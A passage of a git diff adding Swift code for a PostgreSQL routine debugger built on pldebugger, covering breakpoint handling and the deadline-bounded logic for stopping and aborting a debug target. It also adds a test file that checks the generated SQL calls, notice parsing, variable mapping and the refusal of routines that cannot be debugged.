+            throw CancellationError()
+        } catch where PostgreSQLRoutineDebugProtocol.proxyFailure(error) == .targetEnded {
+            return nil
+        } catch {
+            if PostgreSQLRoutineDebugProtocol.proxyFailure(error) == .interrupted { noteInterruption() }
+            throw error
+        }
+    }
+
+    func removeBreakpoint(_ breakpoint: PluginDebugBreakpoint) async throws {
+        guard let oid = PostgreSQLRoutineDebugProtocol.oid(inIdentity: breakpoint.unitIdentity) else { return }
+        let schema = extensionSchema
+        _ = try await pausedRead {
+            PostgreSQLRoutineDebugProtocol.dropBreakpointStatement(
+                extensionSchema: schema,
+                session: $0,
+                oid: oid,
+                line: breakpoint.line
+            )
+        }
+    }
+
+    // pldbg_set_breakpoint accepts any line and answers t; a line with no statement never stops.
+    private func place(_ breakpoint: PluginDebugBreakpoint, session: Int) async throws -> PluginDebugBreakpoint? {
+        guard let oid = PostgreSQLRoutineDebugProtocol.oid(inIdentity: breakpoint.unitIdentity), breakpoint.line > 0 else {
+            return nil
+        }
+        let reply = try await proxyCall(PostgreSQLRoutineDebugProtocol.setBreakpointStatement(
+            extensionSchema: extensionSchema,
+            session: session,
+            oid: oid,
+            line: breakpoint.line
+        ))
+        return PostgreSQLCatalogBoolean.isTrue(reply.rows.first?.first?.asText) ? breakpoint : nil
+    }
+
+    // A read or breakpoint edit that stop() overlaps throws at once. Its statement still finishes on the proxy
+    // first, and the abort queued behind it reaches the target after it: libpq runs one statement at a time per
+    // connection, and cancelling the read gains nothing (measured: the cancel lands only once the read's reply has
+    // crossed, while it can leave part of that reply unread).
+    private func proxyCall(_ statement: String) async throws -> PluginQueryResult {
+        let proxy = proxy
+        guard let answered = await stopSignal.reply(to: Task { try await proxy.execute(query: statement) }) else {
+            throw CancellationError()
+        }
+        return try answered.get()
+    }
+
+    private func pausedRead(_ statement: (Int) -> String) async throws -> PluginQueryResult? {
+        guard let handle = try pausedSession() else { return nil }
+        do {
+            return try await proxyCall(statement(handle))
+        } catch is CancellationError {
+            throw CancellationError()
+        } catch {
+            switch PostgreSQLRoutineDebugProtocol.proxyFailure(error) {
+            case .targetEnded:
+                return nil
+            case .interrupted:
+                noteInterruption()
+                throw error
+            case .broken:
+                throw error
+            }
+        }
+    }
+
+    // The interrupted call's reply stays unread on the proxy, so no later call could be matched to its own reply.
+    private func noteInterruption() {
+        phase = .broken
+        proxyInterrupted = true
+    }
+
+    // pldbgapi answers only while the target waits for a command; the session is nil once the target is gone.
+    private func pausedSession() throws -> Int? {
+        if stopRequested { return nil }
+        switch phase {
+        case .paused where hasReportedFirstStop:
+            return handle
+        case .ended, .broken:
+            return nil
+        case .starting, .running, .paused:
+            throw PostgreSQLRoutineDebugError.notPaused
+        }
+    }
+
+    // MARK: - Stop
+
+    func stop() async -> PluginDebugStopOutcome {
+        if stopTask == nil {
+            stopRequested = true
+            stopSignal.settle()
+            if stopDeadline == nil { stopDeadline = .now + Self.stopBudget }
+            stopTask = Task { await performStop() }
+        }
+        await stopTask?.value
+        // A call that failed on its own connection ended only on this side; the backend may still hold its locks.
+        let callEnded = rendezvous.hasSettled && (abortDelivered || backendGone || !target.hasLostConnection)
+        return PostgreSQLRoutineDebugProtocol.stopOutcome(
+            callEnded: callEnded,
+            abandoned: rendezvous.isAbandoned,
+            process: targetProcess,
+            port: port
+        )
+    }
+
+    private func performStop() async {
+        switch phase {
+        case .starting:
+            if port == nil {
+                let deadline = currentDeadline()
+                Self.cancelUntilEntered(target: target, rendezvous: rendezvous, until: deadline)
+                let rendezvous = rendezvous
+                port = await Self.bounded(by: deadline) { await rendezvous.port() } ?? nil
+            }
+            if port != nil {
+                await endTarget()
+            } else {
+                await awaitTargetEnd()
+            }
+        case .paused, .broken:
+            await endTarget()
+        case .running:
+            // Never the proxy: cancelling a waiting proxy call desynchronizes the session. A target that paused
+            // before this cancel arrived holds it, and the step in flight aborts the target instead.
+            target.core.cancelQueryKeepingReply()
+            await awaitTargetEnd()
+        case .ended:
+            break
+        }
+        if target.hasLostConnection, !abortDelivered {
+            await endBackendWithoutItsConnection()
+        }
+        _ = await targetEnded()
+    }
+
+    // A call whose own connection dropped ended only on this side: its backend may still run a statement, or wait at
+    // a pause for the proxy, which still holds it. The proxy's abort reaches it paused, a cancel from another session
+    // reaches it running, and only its absence from pg_stat_activity confirms the end.
+    private func endBackendWithoutItsConnection() async {
+        Task { await self.abortTarget() }
+        guard let process = targetProcess else { return }
+        let sessions = sessions
+        let deadline = currentDeadline()
+        guard case .success(let rescue)? = await Self.boundedResult(by: deadline, {
+            try await PostgreSQLPluginDriver.debugSession(from: sessions)
+        }) else { return }
+        _ = await Self.boundedResult(by: deadline) {
+            try await rescue.execute(query: PostgreSQLRoutineDebugProtocol.cancelBackendStatement(process: process))
+        }
+        while !abortDelivered {
+            let counted = await Self.boundedResult(by: deadline) {
+                try await rescue.execute(query: PostgreSQLRoutineDebugProtocol.backendCountStatement(process: process))
+            }
+            guard case .success(let reply)? = counted else { return }
+            if reply.rows.first?.first?.asText == "0" {
+                backendGone = true
+                return
+            }
+            let remaining = ContinuousClock.now.duration(to: deadline)
+            guard remaining > .zero else { return }
+            try? await Task.sleep(for: min(Self.attachRetryDelay, remaining))
+        }
+    }
+
+    private func currentDeadline() -> ContinuousClock.Instant {
+        if let stopDeadline { return stopDeadline }
+        let fresh = ContinuousClock.now + Self.stopBudget
+        stopDeadline = fresh
+        return fresh
+    }
+
+    // The abort is sent, not waited on: an abort to a target that already returned waits on a socket that stays
+    // open for the target's session. The target's call ending is what counts. Without a working proxy the target may
+    // still be running a statement, which only a cancel ends before it pauses and waits in accept() for good; a
+    // paused target holds the cancel and a waiting one ignores it.
+    private func endTarget() async {
+        if proxyInterrupted || phase == .broken { target.core.cancelQueryKeepingReply() }
+        Task { await self.abortTarget() }
+        await awaitTargetEnd()
+    }
+
+    // Past the deadline the target is given up rather than waited on: the host closes the drivers once stop()
+    // returns, and the answer then says the backend may still hold its locks.
+    private func awaitTargetEnd() async {
+        let rendezvous = rendezvous
+        guard await Self.bounded(by: currentDeadline(), { await rendezvous.settled() }) == nil, !rendezvous.hasSettled else {
+            return
+        }
+        Self.logger.fault("The debug target was not confirmed ended before the stop deadline")
+        rendezvous.abandon()
+    }
+
+    private func abortTarget() async {
+        guard !abortSent else { return }
+        abortSent = true
+        // After an interruption the same proxy still holds the target, which reads the abort at its next pause.
+        if let handle, phase != .broken || proxyInterrupted {
+            let proxy = proxy
+            let statement = PostgreSQLRoutineDebugProtocol.abortStatement(extensionSchema: extensionSchema, session: handle)
+            switch await Self.boundedResult(by: currentDeadline(), { try await proxy.execute(query: statement) }) {
+            case .success?:
+                abortDelivered = true
+                return
+            case .failure(let error)?:
+                // An interrupted abort was still written; the target reads it at its next pause while the proxy
+                // stays connected (measured), and an attach cannot reach a target the proxy still holds.
+                guard PostgreSQLRoutineDebugProtocol.proxyFailure(error) == .broken else { return }
+                Self.logger.error("Abort through the debugger session failed: \(error.localizedDescription, privacy: .private)")
+            case nil:
+                return
+            }
+        }
+        // With the target's own connection gone its call has already settled, which ends no backend.
+        await abortByAttaching(reusingProxy: handle == nil && phase != .broken, evenAfterTheCallEnded: target.hasLostConnection)
+    }
+
+    // A target whose proxy is gone waits in accept() and ignores cancel and terminate. Attaching to its backend
+    // number and aborting is the only way to end it. The old proxy can hold the target for a moment after its
+    // client goes, so the attach is retried until the deadline.
+    private func abortByAttaching(reusingProxy: Bool, evenAfterTheCallEnded: Bool = false) async {
+        guard let port else { return }
+        let driver: PostgreSQLPluginDriver
+        if reusingProxy {
+            driver = proxy
+        } else {
+            let sessions = sessions
+            switch await Self.boundedResult(by: currentDeadline(), {
+                try await PostgreSQLPluginDriver.debugSession(from: sessions)
+            }) {
+            case .success(let opened)?:
+                driver = opened
+            case .failure(let error)?:
+                Self.logger.error("No session to reach the debug target: \(error.localizedDescription, privacy: .private)")
+                return
+            case nil:
+                Self.logger.error("A session to reach the debug target did not open before the stop deadline")
+                return
+            }
+        }
+        let schema = extensionSchema
+        let deadline = currentDeadline()
+        while !abortDelivered, evenAfterTheCallEnded || !rendezvous.hasSettled {
+            let ended = await Self.boundedResult(by: deadline) {
+                let session = try await Self.attach(using: driver, port: port, extensionSchema: schema)
+                _ = try await driver.execute(
+                    query: PostgreSQLRoutineDebugProtocol.abortStatement(extensionSchema: schema, session: session)
+                )
+            }
+            switch ended {
+            case .success?:
+                abortDelivered = true
+                return
+            case nil:
+                return
+            case .failure:
+                let remaining = ContinuousClock.now.duration(to: deadline)
+                guard remaining > .zero else { return }
+                try? await Task.sleep(for: min(Self.attachRetryDelay, remaining))
+            }
+        }
+    }
+
+    private static func attach(using driver: PostgreSQLPluginDriver, port: Int, extensionSchema: String) async throws -> Int {
+        let reply = try await driver.execute(
+            query: PostgreSQLRoutineDebugProtocol.attachStatement(extensionSchema: extensionSchema, port: port)
+        )
+        guard let session = reply.rows.first?.first?.asText.flatMap({ Int($0) }) else {
+            throw PostgreSQLRoutineDebugError.unavailable
+        }
+        return session
+    }
+
+    // The operation keeps running past the deadline; its result is then dropped.
+    private static func bounded<T: Sendable>(
+        by deadline: ContinuousClock.Instant,
+        _ operation: @escaping @Sendable () async -> T
+    ) async -> T? {
+        let resumed = OSAllocatedUnfairLock(initialState: false)
+        return await withCheckedContinuation { (continuation: CheckedContinuation<T?, Never>) in
+            let resume = { @Sendable (value: T?) in
+                let first = resumed.withLock { done -> Bool in
+                    defer { done = true }
+                    return !done
+                }
+                if first { continuation.resume(returning: value) }
+            }
+            Task { resume(await operation()) }
+            Task {
+                try? await Task.sleep(until: deadline, clock: .continuous)
+                resume(nil)
+            }
+        }
+    }
+
+    private static func boundedResult<T: Sendable>(
+        by deadline: ContinuousClock.Instant,
+        _ operation: @escaping @Sendable () async throws -> T
+    ) async -> Result<T, Error>? {
+        await bounded(by: deadline) { () async -> Result<T, Error> in
+            do {
+                return .success(try await operation())
+            } catch {
+                return .failure(error)
+            }
+        }
+    }
+
+    private func targetEnded() async -> PluginDebugStop {
+        await rendezvous.settled()
+        phase = .ended
+        stopSignal.settle()
+        if let terminalStop { return terminalStop }
+        let stop: PluginDebugStop
+        if rendezvous.isAbandoned {
+            stop = PostgreSQLRoutineDebugProtocol.abandonedStop(process: targetProcess, port: port)
+        } else {
+            let outcome = await targetCall?.value ?? .failure(CancellationError())
+            stop = PostgreSQLRoutineDebugProtocol.end(
+                of: outcome,
+                stopRequested: stopRequested,
+                interrupted: endedByInterruption
+            )
+        }
+        if terminalStop == nil { terminalStop = stop }
+        return terminalStop ?? stop
+    }
+
+    private func outcomeAfterStop() async -> PluginDebugStop {
+        await stopTask?.value
+        return terminalStop ?? PostgreSQLRoutineDebugProtocol.end(of: .failure(CancellationError()), stopRequested: true)
+    }
+}
diff --git a/apple/Plugins/PostgreSQLDriverTests/PostgreSQLRoutineDebugProtocolTests.swift b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLRoutineDebugProtocolTests.swift
new file mode 100644
index 0000000000..02bb5d0198
--- /dev/null
+++ b/apple/Plugins/PostgreSQLDriverTests/PostgreSQLRoutineDebugProtocolTests.swift
@@ -0,0 +1,877 @@
+//
+//  PostgreSQLRoutineDebugProtocolTests.swift
+//  PostgreSQLDriverTests
+//
+
+import Foundation
+import TableProPluginKit
+import TableProPostgreSQLCore
+import Testing
+
+// Replies, rows and errors below are copied from PostgreSQL 17.11 with pldebugger 1.10
+// (apple/scripts/probes/check-pldebugger-session.sh).
+struct PostgreSQLRoutineDebugProtocolTests {
+    private static func routine(_ row: [String?], identity: String = "16433") -> PostgreSQLDebugRoutine {
+        PostgreSQLDebugRoutine(row: row, identity: identity)
+    }
+
+    private static let orderTotal = routine([
+        "postgres", "public", "t", "t", "t", "f", "v", "plpgsql", "public", "order_total",
+        "qty integer, unit_price numeric", "f", "f", "{integer,numeric}", "{qty,unit_price}", nil, "0"
+    ])
+
+    private static let logNote = routine([
+        "postgres", "public", "t", "t", "t", "p", "v", "plpgsql", "public", "log_note",
+        "IN msg text, INOUT n integer, IN label text", "t", "f", "{text,integer,text}", "{msg,n,label}",
+        "{i,b,i}", "2", "f", nil,
+        #"{"\"pg_catalog\".\"text\"","\"pg_catalog\".\"int4\"","\"pg_catalog\".\"text\""}"#,
+        "{NULL,NULL::integer,'x'::text}"
+    ], identity: "16434")
+
+    private static let pair = routine([
+        "postgres", "public", "t", "t", "t", "f", "v", "plpgsql", "public", "pair",
+        "a integer, OUT x integer, OUT y text", "t", "f", "{integer,integer,text}", "{a,x,y}", "{i,o,o}", "0"
+    ], identity: "16435")
+
+    private static let anonymous = routine([
+        "postgres", "public", "t", "t", "t", "f", "v", "plpgsql", "public", "anon",
+        "integer, integer", "t", "f", "{integer,integer}", nil, nil, "1", "f", nil,
+        #"{"\"pg_catalog\".\"int4\"","\"pg_catalog\".\"int4\""}"#, "{NULL,5}"
+    ], identity: "16436")
+
+    private static let totalOf = routine([
+        "postgres", "public", "t", "t", "t", "f", "s", "plpgsql", "public", "total_of",
+        "VARIADIC nums integer[]", "f", "f", "{integer[]}", "{nums}", "{v}", "0"
+    ], identity: "16437")
+
+    private static func argument(_ name: String, _ value: PluginDebugArgumentValue) -> PluginDebugArgument {
+        PluginDebugArgument(parameterName: name, value: value)
+    }
+
+    private static func result(columns: [String]) -> PluginQueryResult {
+        PluginQueryResult(
+            columns: columns,
+            columnTypeNames: columns.map { _ in "numeric" },
+            rows: columns.isEmpty ? [] : [["33.0"]],
+            rowsAffected: 0,
+            executionTime: 0
+        )
+    }
+
+    // MARK: - Notices
+
+    @Test("The PLDBGBREAK notice names the backend the proxy attaches to")
+    func breakNoticeParses() {
+        #expect(PostgreSQLRoutineDebugProtocol.debuggerPort(inNotice: "PLDBGBREAK:12") == 12)
+        #expect(PostgreSQLRoutineDebugProtocol.debuggerPort(inNotice: " PLDBGBREAK:3\n") == 3)
+    }
+
+    @Test("Any other notice is routine output, not a port")
+    func otherNoticesAreOutput() {
+        #expect(PostgreSQLRoutineDebugProtocol.debuggerPort(inNotice: "rows now 2") == nil)
+        #expect(PostgreSQLRoutineDebugProtocol.debuggerPort(inNotice: "PLDBGBREAK:") == nil)
+        #expect(PostgreSQLRoutineDebugProtocol.debuggerPort(inNotice: "said PLDBGBREAK:4") == nil)
+    }
+
+    // MARK: - Lines
+
+    @Test("A stop's reported line is one past the source line")
+    func stopLineIsShifted() {
+        let stop = PostgreSQLRoutineDebugProtocol.location(
+            fromBreakpointRow: ["16431", "9", "order_total(integer,numeric)"]
+        )
+        #expect(stop?.line == 8)
+        #expect(stop?.unit.identity == "16431")
+        #expect(stop?.unit.displayName == "order_total(integer,numeric)")
+    }
+
+    @Test("A stack frame's line is the source line as is")
+    func stackLineIsNotShifted() {
+        let frame = PostgreSQLRoutineDebugProtocol.frame(
+            fromStackRow: ["1", "order_total(integer,numeric)", "16431", "8", "qty=3, unit_price=10"]
+        )
+        #expect(frame?.level == 1)
+        #expect(frame?.location?.line == 8)
+        #expect(frame?.location?.unit.identity == "16431")
+        #expect(frame?.arguments == "qty=3, unit_price=10")
+    }
+
+    @Test("A reply without a stop means the target left the debugger")
+    func emptyStopIsNoLocation() {
+        #expect(PostgreSQLRoutineDebugProtocol.location(fromBreakpointRow: []) == nil)
+        #expect(PostgreSQLRoutineDebugProtocol.location(fromBreakpointRow: [nil, nil, nil]) == nil)
+    }
+
+    @Test("The catalog reads name the trigger types rather than cast to one a 9.1 or 9.2 server lacks")
+    func triggerTypesAreNamedNotCast() {
+        let statements = [
+            PostgreSQLRoutineDebugProtocol.routineQuery(oid: 16_431, capabilities: PostgreSQLCapabilities(serverVersion: 90_100)),
+            PostgreSQLRoutineDebugProtocol.targetListQuery(schema: "public", hasProcedureKind: false)
+        ]
+        for statement in statements {
+            #expect(!statement.contains("event_trigger'::"))
+            #expect(statement.contains("rt.typname IN ('trigger', 'event_trigger')"))
+        }
+    }
+
+    @Test("Breakpoints are set on the source line, unshifted")
+    func breakpointLineIsNotShifted() {
+        let statement = PostgreSQLRoutineDebugProtocol.setBreakpointStatement(
+            extensionSchema: "public",
+            session: 1,
+            oid: 16_433,
+            line: 12
+        )
+        #expect(statement == "SELECT \"public\".pldbg_set_breakpoint(1, '16433'::pg_catalog.oid, 12)")
+    }
+
+    // MARK: - Variables
+
+    @Test("Variable classes map to argument, local and package")
+    func variableKinds() {
+        let argument = PostgreSQLRoutineDebugProtocol.variable(
+            fromRow: ["qty", "A", "0", "t", "f", "f", "integer", "3"]
+        )
+        let local = PostgreSQLRoutineDebugProtocol.variable(
+            fromRow: ["subtotal", "L", "3", "t", "f", "f", "numeric", "0"]
+        )
+        let package = PostgreSQLRoutineDebugProtocol.variable(
+            fromRow: ["counter", "P", "0", "t", "t", "f", "integer", "1"]
+        )
+        #expect(argument?.kind == .argument)
+        #expect(argument?.typeName == "integer")
+        #expect(argument?.value == "3")
+        #expect(local?.kind == .local)
+        #expect(package?.kind == .package)
+        #expect(package?.isConstant == true)
+        #expect(local?.isConstant == false)
+    }
+
+    @Test("The text NULL pldebugger sends for a null value reads as SQL NULL")
+    func nullTextIsNull() {
+        let variable = PostgreSQLRoutineDebugProtocol.variable(
+            fromRow: ["total", "L", "4", "t", "f", "f", "numeric", "NULL"]
+        )
+        #expect(variable != nil)
+        #expect(variable?.value == nil)
+    }
+
+    // MARK: - The call
+
+    @Test("A function runs as SELECT * FROM with each argument bound and cast to its declared type")
+    func functionCall() throws {
+        let call = try PostgreSQLRoutineDebugProtocol.call(
+            for: Self.orderTotal,
+            arguments: [Self.argument("qty", .text("3")), Self.argument("unit_price", .text("10"))]
+        )
+        #expect(call.sql == "SELECT * FROM \"public\".\"order_total\"($1::integer, $2::numeric)")
+        #expect(call.parameters == [.text("3"), .text("10")])
+    }
+
+    @Test("A procedure runs as CALL")
+    func procedureCall() throws {
+        let call = try PostgreSQLRoutineDebugProtocol.call(
+            for: Self.logNote,
+            arguments: [
+                Self.argument("msg", .text("hello")),
+                Self.argument("n", .defaultValue),
+                Self.argument("label", .defaultValue)
+            ]
+        )
+        #expect(
+            call.sql
+                == #"CALL "public"."log_note"($1::"pg_catalog"."text", (NULL::integer)::"pg_catalog"."int4", ('x'::text)::"pg_catalog"."text")"#
+        )
+        #expect(call.parameters == [.text("hello")])
+    }
+
+    @Test("An argument after one left to its default stays positional, the default spelled out")
+    func argumentAfterDefaultStaysPositional() throws {
+        let call = try PostgreSQLRoutineDebugProtocol.call(
+            for: Self.logNote,
+            arguments: [
+                Self.argument("msg", .text("hello")),
+                Self.argument("n", .defaultValue),
+                Self.argument("label", .text("-lbl"))
+            ]
+        )
+        #expect(
+            call.sql
+                == #"CALL "public"."log_note"($1::"pg_catalog"."text", (NULL::integer)::"pg_catalog"."int4", $2::"pg_catalog"."text")"#
+        )
+        #expect(call.parameters == [.text("hello"), .text("-lbl")])
+    }
+
+    @Test("Overloads that differ only in a defaulted parameter each get their own default, so the call is not ambiguous")
+    func defaultedOverloadsStaySelected() throws {
+        let integer = Self.routine([
+            "postgres", "public", "t", "t", "t", "f", "v", "plpgsql", "public", "dflt", "a integer", "f", "f",
+            "{integer}", "{a}", nil, "1", "f", nil, #"{"\"pg_catalog\".\"int4\""}"#, "{1}"
+        ])
+        let text = Self.routine([
+            "postgres", "public", "t", "t", "t", "f", "v", "plpgsql", "public", "dflt", "a text", "f", "f",
+            "{text}", "{a}", nil, "1", "f", nil, #"{"\"pg_catalog\".\"text\""}"#, #"{"'x, y'::text"}"#
+        ])
+        let first = try PostgreSQLRoutineDebugProtocol.call(for: integer, arguments: [Self.argument("a", .defaultValue)])
+        let second = try PostgreSQLRoutineDebugProtocol.call(for: text, arguments: [Self.argument("a", .defaultValue)])
+        #expect(first.sql == #"SELECT * FROM "public"."dflt"((1)::"pg_catalog"."int4")"#)
+        #expect(second.sql == #"SELECT * FROM "public"."dflt"(('x, y'::text)::"pg_catalog"."text")"#)
+        #expect(first.parameters.isEmpty)
+    }
+
+    @Test("A VARIADIC parameter left at its default keeps VARIADIC in front of the spelled-out default")
+    func variadicDefault() throws {
+        let routine = Self.routine([
+            "postgres", "public", "t", "t", "t", "f", "v", "plpgsql", "public", "dvar", "a integer, VARIADIC rest integer[]",
+            "f", "f", "{integer,integer[]}", "{a,rest}", "{i,v}", "1", "f", nil,
+            #"{"\"pg_catalog\".\"int4\"","\"pg_catalog\".\"_int4\""}"#, #"{NULL,"'{}'::integer[]"}"#
+        ])
+        let call = try PostgreSQLRoutineDebugProtocol.call(
+            for: routine,
+            arguments: [Self.argument("a", .text("3")), Self.argument("rest", .defaultValue)]
+        )
+        #expect(
+            call.sql == #"SELECT * FROM "public"."dvar"($1::"pg_catalog"."int4", VARIADIC ('{}'::integer[])::"pg_catalog"."_int4")"#
+        )
+    }
+
+    @Test("A default the server could not show is refused rather than left out")
+    func unreadableDefaultIsRefused() {
+        let routine = Self.routine([
+            "postgres", "public", "t", "t", "t", "f", "v", "plpgsql", "public", "f", "a integer", "f", "f",
+            "{integer}", "{a}", nil, "1", "f", nil, #"{"\"pg_catalog\".\"int4\""}"#, nil
+        ])
+        #expect(throws: PostgreSQLRoutineDebugError.defaultNotReadable(parameter: "a")) {
+            try PostgreSQLRoutineDebugProtocol.call(for: routine, arguments: [Self.argument("a", .defaultValue)])
+        }
+    }
+
+    @Test("A function returning a bare record is selected as a value")
+    func recordFunctionCall() throws {
+        let call = try PostgreSQLRoutineDebugProtocol.call(
+            for: Self.anonymous,
+            arguments: [Self.argument("$1", .text("7")), Self.argument("$2", .defaultValue)]
+        )
+        #expect(call.sql == #"SELECT "public"."anon"($1::"pg_catalog"."int4", (5)::"pg_catalog"."int4")"#)
+    }
+
+    @Test("A function with OUT parameters keeps SELECT * FROM and passes only its inputs")
+    func outParametersAreNotPassed() throws {
+        let call = try PostgreSQLRoutineDebugProtocol.call(for: Self.pair, arguments: [Self.argument("a", .text("4"))])
+        #expect(call.sql == "SELECT * FROM \"public\".\"pair\"($1::integer)")
+    }
+
+    @Test("A variadic parameter takes its array with VARIADIC")
+    func variadicCall() throws {
+        let call = try PostgreSQLRoutineDebugProtocol.call(
+            for: Self.totalOf,
+            arguments: [Self.argument("nums", .text("{1,2,3}"))]
+        )
+        #expect(call.sql == "SELECT * FROM \"public\".\"total_of\"(VARIADIC $1::integer[])")
+    }
+
+    @Test("NULL is bound as a null parameter, not as text")
+    func nullArgument() throws {
+        let call = try PostgreSQLRoutineDebugProtocol.call(
+            for: Self.orderTotal,
+            arguments: [Self.argument("qty", .null), Self.argument("unit_price", .text("1"))]
+        )
+        #expect(call.parameters == [.null, .text("1")])
+    }
+
+    @Test("DEFAULT on a parameter without a default is refused")
+    func defaultWithoutDefaultIsRefused() {
+        #expect(throws: PostgreSQLRoutineDebugError.noDefault(parameter: "qty")) {
+            try PostgreSQLRoutineDebugProtocol.call(
+                for: Self.orderTotal,
+                arguments: [Self.argument("qty", .defaultValue), Self.argument("unit_price", .text("1"))]
+            )
+        }
+    }
+
+    @Test("An unnamed parameter after one left to its default is passed by position")
+    func unnamedAfterDefault() throws {
+        let routine = Self.routine([
+            "postgres", "public", "t", "t", "t", "f", "v", "plpgsql", "public", "f",
+            "integer, integer", "f", "f", "{integer,integer}", nil, nil, "2", "f", nil,
+            #"{"\"pg_catalog\".\"int4\"","\"pg_catalog\".\"int4\""}"#, "{1,2}"
+        ])
+        let call = try PostgreSQLRoutineDebugProtocol.call(
+            for: routine,
+            arguments: [Self.argument("$1", .defaultValue), Self.argument("$2", .text("7"))]
+        )
+        #expect(call.sql == #"SELECT * FROM "public"."f"((1)::"pg_catalog"."int4", $1::"pg_catalog"."int4")"#)
+        #expect(call.parameters == [.text("7")])
+    }
+
+    @Test("A procedure's OUT parameter gets a typed NULL placeholder")
+    func procedureOutParameter() throws {
+        let routine = Self.routine([
+            "postgres", "public", "t", "t", "t", "p", "v", "plpgsql", "public", "p",
+            "IN a integer, OUT b text", "t", "f", "{integer,text}", "{a,b}", "{i,o}", "0"
+        ])
+        let call = try PostgreSQLRoutineDebugProtocol.call(for: routine, arguments: [Self.argument("a", .text("1"))])
+        #expect(call.sql == "CALL \"public\".\"p\"($1::integer, NULL::text)")
+    }
+
+    // MARK: - The routine
+
+    @Test("Catalog arrays become parameters with modes and trailing defaults")
+    func parametersFromCatalog() {
+        let parameters = Self.logNote.parameters
+        let names = parameters.map { $0.name }
+        let modes = parameters.map { $0.mode }
+        let defaults = parameters.map { $0.hasDefault }
+        let types = parameters.map { $0.typeName }
+        #expect(names == ["msg", "n", "label"])
+        #expect(modes == [.input, .inputOutput, .input])
+        #expect(defaults == [false, true, true])
+        #expect(types == ["text", "integer", "text"])
+    }
+
+    @Test("An unnamed parameter is named by its position")
+    func unnamedParameters() {
+        let names = Self.anonymous.parameters.map { $0.name }
+        let defaults = Self.anonymous.parameters.map { $0.hasDefault }
+        #expect(names == ["$1", "$2"])
+        #expect(defaults == [false, true])
+    }
+
+    @Test("The entry point's identity is the routine's oid")
+    func entryIdentityIsTheOid() {
+        #expect(Self.orderTotal.entryPoint.identity == "16433")
+        #expect(PostgreSQLRoutineDebugProtocol.oid(inIdentity: "16433") == 16_433)
+        #expect(PostgreSQLRoutineDebugProtocol.oid(inIdentity: "16433:w") == nil)
+        #expect(PostgreSQLRoutineDebugProtocol.oid(inIdentity: "order_total") == nil)
+    }
+
+    @Test("A transaction startup commands left open is rolled back before the call")
+    func startupTransactionIsRolledBack() {
+        #expect(!PostgreSQLRoutineDebugProtocol.endsStartupTransaction(.idle))
+        #expect(PostgreSQLRoutineDebugProtocol.endsStartupTransaction(.inTransaction))
+        #expect(PostgreSQLRoutineDebugProtocol.endsStartupTransaction(.abortedTransaction))
+        #expect(PostgreSQLRoutineDebugProtocol.endsStartupTransaction(.unknown))
+    }
+
+    @Test("A missing extension the server offers asks for CREATE EXTENSION in this database")
+    func extensionMissing() {
+        let routine = Self.routine([
+            "noext", nil, "t", "t", "t", "f", "v", "plpgsql", "public", "f", "", "f", "f", "{}", nil, nil, "0"
+        ])
+        #expect(throws: PostgreSQLRoutineDebugError.extensionMissing(database: "noext")) {
+            try routine.debuggerSchema()
+        }
+    }
+
+    @Test("A server without the pldebugger package says so")
+    func serverPackageMissing() {
+        let routine = Self.routine([
+            "postgres", nil, "f", "t", "t", "f", "v", "plpgsql", "public", "f", "", "f", "f", "{}", nil, nil, "0"
+        ])
+        #expect(throws: PostgreSQLRoutineDebugError.serverPackageMissing) {
+            try routine.debuggerSchema()
+        }
+    }
+
+    @Test("Only the owner or a superuser may debug")
+    func notOwner() {
+        let routine = Self.routine([
+            "postgres", "public", "t", "t", "f", "f", "v", "plpgsql", "public", "order_total",
+            "qty integer, unit_price numeric", "f", "f", "{integer,numeric}", "{qty,unit_price}", nil, "0"
+        ])
+        #expect(throws: PostgreSQLRoutineDebugError.notOwner(routine: "order_total(qty integer, unit_price numeric)")) {
+            try routine.debuggerSchema()
+        }
+    }
+
+    @Test("A trigger function or another language cannot be debugged")
+    func notDebuggable() {
+        let trigger = Self.routine([
+            "postgres", "public", "t", "t", "t", "f", "v", "plpgsql", "public", "trg_fn", "", "f", "t", "{}", nil, nil,
+            "0"
+        ])
+        let sql = Self.routine([
+            "postgres", "public", "t", "t", "t", "f", "v", "sql", "public", "f", "", "f", "f", "{}", nil, nil, "0"
+        ])
+        #expect(throws: PostgreSQLRoutineDebugError.notDebuggable) { try trigger.debuggerSchema() }
+        #expect(throws: PostgreSQLRoutineDebugError.notDebuggable) { try sql.debuggerSchema() }
+    }
+
+    @Test("A routine taking a polymorphic or record argument is refused before the start")
+    func pseudoTypeArgumentIsRefused() {
+        let routine = Self.routine([
+            "postgres", "public", "t", "t", "t", "f", "v", "plpgsql", "public", "poly_elem", "a anyelement", "f", "f",
+            "{anyelement}", "{a}", nil, "0", "t"
+        ])
+        #expect(throws: PostgreSQLRoutineDebugError.pseudoTypeParameter) { try routine.debuggerSchema() }
+    }
+
+    @Test("Polymorphic, \"any\" and record arguments are found in a signature; a parameter named like one is not")
+    func signatureClassification() {
+        let refused = [
+            "(a anyelement)", "(VARIADIC \"any\")", "(x anyarray, y integer)", "(anycompatible, anycompatible)",
+            "(a anycompatiblearray, b integer)", "(r record)", "(IN v anynonarray)", "(e anyenum)", "(r anyrange)",
+            "(m anymultirange)", "(rs record[])"
+        ]
+        let offered = [
+            "(qty integer, unit_price numeric)", "(anyelement integer)", "(\"my, record\" integer)",
+            "(IN msg text, INOUT n integer, IN label text)", "()", "(VARIADIC nums integer[])",
+            "(b timestamp with time zone)"
+        ]
+        for signature in refused {
+            #expect(PostgreSQLRoutineDebugProtocol.signatureTakesPseudoType(signature), "\(signature)")
+        }
+        for signature in offered {
+            #expect(!PostgreSQLRoutineDebugProtocol.signatureTakesPseudoType(signature), "\(signature)")
+        }
+        #expect(!PostgreSQLRoutineDebugProtocol.signatureTakesPseudoType(nil))
+    }
+
+    @Test("A routine whose own client_min_messages hides notices, or whose transaction_timeout is set, is refused")
+    func blockingRoutineSettings() {
+        #expect(
+            PostgreSQLRoutineDebugProtocol.blockingSetting(in: ["client_min_messages=warning"])
+                == .hidesDebuggerNotice(value: "warning")
+        )
+        #expect(
+            PostgreSQLRoutineDebugProtocol.blockingSetting(in: ["search_path=app", "client_min_messages=ERROR"])
+                == .hidesDebuggerNotice(value: "ERROR")
+        )
+        #expect(
+            PostgreSQLRoutineDebugProtocol.blockingSetting(in: ["transaction_timeout=2s"])
+                == .limitsTransactionTime(value: "2s")
+        )
+        for allowed in [
+            "client_min_messages=notice", "client_min_messages=log", "client_min_messages=debug1",
+            "transaction_timeout=0", "transaction_timeout=0ms", "search_path=app, public", "work_mem=64MB"
+        ] {
